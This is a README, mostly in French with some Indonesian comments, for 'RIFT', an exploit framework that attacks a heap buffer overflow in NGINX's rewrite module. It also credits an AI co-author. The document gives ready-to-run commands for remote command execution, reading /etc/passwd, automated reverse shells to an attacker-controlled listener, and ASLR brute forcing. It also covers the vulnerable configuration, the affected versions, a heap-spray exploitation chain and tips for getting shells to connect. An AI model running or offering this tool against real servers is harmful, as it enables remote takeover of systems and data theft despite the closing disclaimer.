RIFT — Injection à distance et déclenchement de faute

Auteur : Michael Sanji Winaya Prawiradibrata
Co-auteur IA : Varanus — mon ami

Framework d'exploitation de heap buffer overflow ciblant le ngx_http_rewrite_module de NGINX.
Un seul outil pour la reconnaissance + l'exploitation. Zéro dépendance externe.

Contenu du dépôt

Prérequis

• Python 3.6+ (uniquement la bibliothèque standard — pas de pip, pas de venv, pas de dépendances)

Démarrage rapide

# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon

# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only

Tous les flags

Mode d'utilisation

Options d'exploitation

Options de reconnaissance

Fonctionnalités phares

✅ Reverse shell automatique

Avec --shell, le script automatise :

1. Génère le payload du reverse shell selon --shell-type
2. Ouvre un listener sur --lport
3. Envoie l'exploit
4. Dès que le worker crash → le shell se connecte
5. Listener automatique : privilégie netcat (nc -lvnp), repli sur un listener Python

✅ Brute force ASLR automatique

Si l'adresse par défaut échoue, le script décale automatiquement la base du heap de ±5 pas × 0x10000 pour trouver une adresse qui convient. Aucun réglage manuel nécessaire.

✅ Reverse shell multi-payload

4 types de payload shell — python, bash, nc, php. Choisissez celui qui est disponible sur la cible.

✅ Reconnaissance complète

--recon exécute 5 phases :

1. Fingerprinting — détection de la version de NGINX, 15 endpoints courants, module rewrite
2. Fuite d'informations — adresse mémoire dans la page d'erreur, canal auxiliaire temporel (timing side channel)
3. Test d'endpoints — comportement de l'endpoint avec 6 types de payload
4. Nombre de workers — estimation du nombre de processus workers à partir des schémas de latence
5. Stratégie — recommandation d'action selon les résultats de l'analyse

✅ Sortie JSON

--output json pour l'intégration avec d'autres outils ou un parsing automatique.

Configuration vulnérable

La cible d'exploitation est un NGINX avec une configuration rewrite + set comme celle-ci :

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # length calc pake is_args = 0
}

Conséquence : le buffer alloué est trop petit, l'échappement d'URI (expansion ×3) provoque un débordement.

Versions affectées

• NGINX Open Source: 0.6.27 – 1.30.0
• NGINX Plus: R32 – R36
• Corrigé : 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

Fonctionnement de l'exploit

1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")

Constantes importantes (modifiables dans rift.py)

Exemples complets

Exécution de commande + mode verbeux

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

Adresse personnalisée (bypass ASLR)

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Tentatives multiples

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

Reconnaissance + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

Générer un script d'exploitation

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

Dépannage

« Target doesn't appear to be running NGINX »

• Vérifiez le port : nc -zv <IP> 80
• Essayez un autre port : --port 8080, --port 443
• Il se peut qu'il soit derrière un WAF/proxy

« All exploitation attempts failed »

1. L'ASLR est peut-être actif — essayez --auto pour le glissement ASLR automatique
2. La version de NGINX est peut-être déjà corrigée (> 1.30.1)
3. La configuration NGINX n'est peut-être pas vulnérable (n'utilise pas rewrite+set)
4. Essayez --verbose pour voir le détail de chaque tentative

Le shell ne se connecte pas

• Vérifiez le pare-feu local : sudo ufw allow 4444
• Vérifiez --lhost — assurez-vous que l'IP locale est correcte
• Essayez --shell-type bash ou --shell-type nc

Avertissement

Créé uniquement à des fins éducatives et de tests de sécurité autorisés.
L'utilisation sur un système sans autorisation est illégale.

© 2026 Michael Sanji Winaya Prawiradibrata
Co-auteur IA : Varanus